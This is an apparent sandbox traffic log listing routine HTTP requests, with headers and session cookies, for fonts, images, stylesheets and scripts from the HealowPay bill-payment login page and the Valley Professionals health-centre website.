Source: global traffic	HTTP traffic detected: GET /HealowPay/jsp/js/assets/fonts/poppins-medium-normal-latin.woff2 HTTP/1.1Host: www.healowpay.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://www.healowpay.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://www.healowpay.com/HealowPay/jsp/js/assets/css/custom.cssAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: JSESSIONID=8CE94DA95A067ED22B02F72C64DE30D7; ApplicationGatewayAffinityCORS=7c01dadb4c197224376f894aa3ea99d4; ApplicationGatewayAffinity=7c01dadb4c197224376f894aa3ea99d4
Source: global traffic	HTTP traffic detected: GET /HealowPay/jsp/js/assets/fonts/poppins-regular-normal-latin.woff2 HTTP/1.1Host: www.healowpay.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://www.healowpay.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://www.healowpay.com/HealowPay/jsp/js/assets/css/custom.cssAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: JSESSIONID=8CE94DA95A067ED22B02F72C64DE30D7; ApplicationGatewayAffinityCORS=7c01dadb4c197224376f894aa3ea99d4; ApplicationGatewayAffinity=7c01dadb4c197224376f894aa3ea99d4
Source: global traffic	HTTP traffic detected: GET /HealowPay/jsp/js/assets/fonts/healow.ttf?qd9atp HTTP/1.1Host: www.healowpay.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://www.healowpay.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://www.healowpay.com/HealowPay/jsp/js/assets/css/layout.cssAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: JSESSIONID=8CE94DA95A067ED22B02F72C64DE30D7; ApplicationGatewayAffinityCORS=7c01dadb4c197224376f894aa3ea99d4; ApplicationGatewayAffinity=7c01dadb4c197224376f894aa3ea99d4
Source: global traffic	HTTP traffic detected: GET /HealowPay/jsp/js/assets/fonts/poppins-semibold-normal-latin.woff2 HTTP/1.1Host: www.healowpay.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://www.healowpay.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://www.healowpay.com/HealowPay/jsp/js/assets/css/custom.cssAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: JSESSIONID=8CE94DA95A067ED22B02F72C64DE30D7; ApplicationGatewayAffinityCORS=7c01dadb4c197224376f894aa3ea99d4; ApplicationGatewayAffinity=7c01dadb4c197224376f894aa3ea99d4
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2020/07/icon_contact.svg HTTP/1.1Host: valleyprohealth.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga=GA1.2.446872372.1713962665; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962689.0.0.0
Source: global traffic	HTTP traffic detected: GET /HealowPay/jsp/js/jquery-3.6.0.min.js HTTP/1.1Host: www.healowpay.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.healowpay.com/HealowPay/jsp/healow/login.jspAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: JSESSIONID=8CE94DA95A067ED22B02F72C64DE30D7; ApplicationGatewayAffinityCORS=7c01dadb4c197224376f894aa3ea99d4; ApplicationGatewayAffinity=7c01dadb4c197224376f894aa3ea99d4
Source: global traffic	HTTP traffic detected: GET /HealowPay/jsp/js/assets/img/paybill-widget-bg.png HTTP/1.1Host: www.healowpay.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.healowpay.com/HealowPay/jsp/js/assets/css/healow-practice-pay-widget.cssAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: JSESSIONID=8CE94DA95A067ED22B02F72C64DE30D7; ApplicationGatewayAffinityCORS=7c01dadb4c197224376f894aa3ea99d4; ApplicationGatewayAffinity=7c01dadb4c197224376f894aa3ea99d4
Source: global traffic	HTTP traffic detected: GET /HealowPay/jsp/js/assets/img/access-statements.png HTTP/1.1Host: www.healowpay.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: JSESSIONID=8CE94DA95A067ED22B02F72C64DE30D7; ApplicationGatewayAffinityCORS=7c01dadb4c197224376f894aa3ea99d4; ApplicationGatewayAffinity=7c01dadb4c197224376f894aa3ea99d4
Source: global traffic	HTTP traffic detected: GET /HealowPay/jsp/js/assets/img/pay-your-bills.png HTTP/1.1Host: www.healowpay.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: JSESSIONID=8CE94DA95A067ED22B02F72C64DE30D7; ApplicationGatewayAffinityCORS=7c01dadb4c197224376f894aa3ea99d4; ApplicationGatewayAffinity=7c01dadb4c197224376f894aa3ea99d4
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/vpchc/dist/acf_block_column_content.css?ver=230904-91936 HTTP/1.1Host: valleyprohealth.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga=GA1.2.446872372.1713962665; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962689.0.0.0
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/vpchc/images/img__empty.png HTTP/1.1Host: valleyprohealth.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga=GA1.2.446872372.1713962665; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962689.0.0.0
Source: global traffic	HTTP traffic detected: GET /HealowPay/jsp/img/payhealow-logo.png HTTP/1.1Host: www.healowpay.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.healowpay.com/HealowPay/jsp/healow/login.jspAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: JSESSIONID=8CE94DA95A067ED22B02F72C64DE30D7; ApplicationGatewayAffinityCORS=7c01dadb4c197224376f894aa3ea99d4; ApplicationGatewayAffinity=7c01dadb4c197224376f894aa3ea99d4
Source: global traffic	HTTP traffic detected: GET /HealowPay/jsp/js/assets/img/view-billing-details.png HTTP/1.1Host: www.healowpay.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.healowpay.com/HealowPay/jsp/healow/login.jspAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: JSESSIONID=8CE94DA95A067ED22B02F72C64DE30D7; ApplicationGatewayAffinityCORS=7c01dadb4c197224376f894aa3ea99d4; ApplicationGatewayAffinity=7c01dadb4c197224376f894aa3ea99d4
Source: global traffic	HTTP traffic detected: GET /HealowPay/jsp/js/assets/img/track-your-payment-history.png HTTP/1.1Host: www.healowpay.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.healowpay.com/HealowPay/jsp/healow/login.jspAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: JSESSIONID=8CE94DA95A067ED22B02F72C64DE30D7; ApplicationGatewayAffinityCORS=7c01dadb4c197224376f894aa3ea99d4; ApplicationGatewayAffinity=7c01dadb4c197224376f894aa3ea99d4
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/vpchc/dist/acf_block_column_content_with_image.css?ver=230904-91936 HTTP/1.1Host: valleyprohealth.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga=GA1.2.446872372.1713962665; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962689.0.0.0
Source: global traffic	HTTP traffic detected: GET /HealowPay/jsp/js/assets/js/bootstrap.bundle.min.js HTTP/1.1Host: www.healowpay.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.healowpay.com/HealowPay/jsp/healow/login.jspAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: JSESSIONID=8CE94DA95A067ED22B02F72C64DE30D7; ApplicationGatewayAffinityCORS=7c01dadb4c197224376f894aa3ea99d4; ApplicationGatewayAffinity=7c01dadb4c197224376f894aa3ea99d4
Source: global traffic	HTTP traffic detected: GET /HealowPay/jsp/js/assets/img/paybill-widget-bg.png HTTP/1.1Host: www.healowpay.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: JSESSIONID=8CE94DA95A067ED22B02F72C64DE30D7; ApplicationGatewayAffinityCORS=7c01dadb4c197224376f894aa3ea99d4; ApplicationGatewayAffinity=7c01dadb4c197224376f894aa3ea99d4
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/vpchc/dist/acf_block_suggested_posts.css?ver=230904-91942 HTTP/1.1Host: valleyprohealth.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga=GA1.2.446872372.1713962665; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962689.0.0.0
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/Valley-Pro-Calculator/public/js/main.js?ver=1.0.0 HTTP/1.1Host: valleyprohealth.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga=GA1.2.446872372.1713962665; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962689.0.0.0
Source: global traffic	HTTP traffic detected: GET /HealowPay/jsp/img/payhealow-logo.png HTTP/1.1Host: www.healowpay.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: JSESSIONID=8CE94DA95A067ED22B02F72C64DE30D7; ApplicationGatewayAffinityCORS=7c01dadb4c197224376f894aa3ea99d4; ApplicationGatewayAffinity=7c01dadb4c197224376f894aa3ea99d4
Source: global traffic	HTTP traffic detected: GET /HealowPay/jsp/js/assets/js/jquery-ui.min.js HTTP/1.1Host: www.healowpay.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.healowpay.com/HealowPay/jsp/healow/login.jspAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: JSESSIONID=8CE94DA95A067ED22B02F72C64DE30D7; ApplicationGatewayAffinityCORS=7c01dadb4c197224376f894aa3ea99d4; ApplicationGatewayAffinity=7c01dadb4c197224376f894aa3ea99d4
Source: global traffic	HTTP traffic detected: GET /HealowPay/jsp/js/assets/img/view-billing-details.png HTTP/1.1Host: www.healowpay.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: JSESSIONID=8CE94DA95A067ED22B02F72C64DE30D7; ApplicationGatewayAffinityCORS=7c01dadb4c197224376f894aa3ea99d4; ApplicationGatewayAffinity=7c01dadb4c197224376f894aa3ea99d4
Source: global traffic	HTTP traffic detected: GET /HealowPay/jsp/js/jquery-migrate-3.3.2.min.js HTTP/1.1Host: www.healowpay.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.healowpay.com/HealowPay/jsp/healow/login.jspAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: JSESSIONID=8CE94DA95A067ED22B02F72C64DE30D7; ApplicationGatewayAffinityCORS=7c01dadb4c197224376f894aa3ea99d4; ApplicationGatewayAffinity=7c01dadb4c197224376f894aa3ea99d4
Source: global traffic	HTTP traffic detected: GET /HealowPay/jsp/js/assets/img/track-your-payment-history.png HTTP/1.1Host: www.healowpay.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: JSESSIONID=8CE94DA95A067ED22B02F72C64DE30D7; ApplicationGatewayAffinityCORS=7c01dadb4c197224376f894aa3ea99d4; ApplicationGatewayAffinity=7c01dadb4c197224376f894aa3ea99d4
Source: global traffic	HTTP traffic detected: GET /HealowPay/jsp/js/rendor/jquery.mask-1.7.7.min.js HTTP/1.1Host: www.healowpay.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.healowpay.com/HealowPay/jsp/healow/login.jspAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: JSESSIONID=8CE94DA95A067ED22B02F72C64DE30D7; ApplicationGatewayAffinityCORS=7c01dadb4c197224376f894aa3ea99d4; ApplicationGatewayAffinity=7c01dadb4c197224376f894aa3ea99d4
Source: global traffic	HTTP traffic detected: GET /HealowPay/jsp/js/assets/js/common.js HTTP/1.1Host: www.healowpay.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.healowpay.com/HealowPay/jsp/healow/login.jspAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: JSESSIONID=8CE94DA95A067ED22B02F72C64DE30D7; ApplicationGatewayAffinityCORS=7c01dadb4c197224376f894aa3ea99d4; ApplicationGatewayAffinity=7c01dadb4c197224376f894aa3ea99d4
Source: global traffic	HTTP traffic detected: GET /HealowPay/jsp/js/assets/js/animation.js HTTP/1.1Host: www.healowpay.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.healowpay.com/HealowPay/jsp/healow/login.jspAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: JSESSIONID=8CE94DA95A067ED22B02F72C64DE30D7; ApplicationGatewayAffinityCORS=7c01dadb4c197224376f894aa3ea99d4; ApplicationGatewayAffinity=7c01dadb4c197224376f894aa3ea99d4
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/google-language-translator/js/scripts.js?ver=6.0.20 HTTP/1.1Host: valleyprohealth.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga=GA1.2.446872372.1713962665; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962689.0.0.0
Source: global traffic	HTTP traffic detected: GET /HealowPay/jsp/js/assets/js/healow-practice-pay-widget.js HTTP/1.1Host: www.healowpay.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.healowpay.com/HealowPay/jsp/healow/login.jspAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: JSESSIONID=8CE94DA95A067ED22B02F72C64DE30D7; ApplicationGatewayAffinityCORS=7c01dadb4c197224376f894aa3ea99d4; ApplicationGatewayAffinity=7c01dadb4c197224376f894aa3ea99d4
Source: global traffic	HTTP traffic detected: GET /HealowPay/jsp/js/healow/loginHelper.js HTTP/1.1Host: www.healowpay.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.healowpay.com/HealowPay/jsp/healow/login.jspAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: JSESSIONID=8CE94DA95A067ED22B02F72C64DE30D7; ApplicationGatewayAffinityCORS=7c01dadb4c197224376f894aa3ea99d4; ApplicationGatewayAffinity=7c01dadb4c197224376f894aa3ea99d4
Source: global traffic	HTTP traffic detected: GET /HealowPay/jsp/js/rendor/healow-pay-healow-flow.js HTTP/1.1Host: www.healowpay.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.healowpay.com/HealowPay/jsp/healow/login.jspAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: JSESSIONID=8CE94DA95A067ED22B02F72C64DE30D7; ApplicationGatewayAffinityCORS=7c01dadb4c197224376f894aa3ea99d4; ApplicationGatewayAffinity=7c01dadb4c197224376f894aa3ea99d4
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/wp-google-places-review-slider/public/js/wprev-public-com-min.js?ver=13.6 HTTP/1.1Host: valleyprohealth.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga=GA1.2.446872372.1713962665; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962689.0.0.0
Source: global traffic	HTTP traffic detected: GET /wp-includes/js/imagesloaded.min.js?ver=5.0.0 HTTP/1.1Host: valleyprohealth.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga=GA1.2.446872372.1713962665; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962689.0.0.0
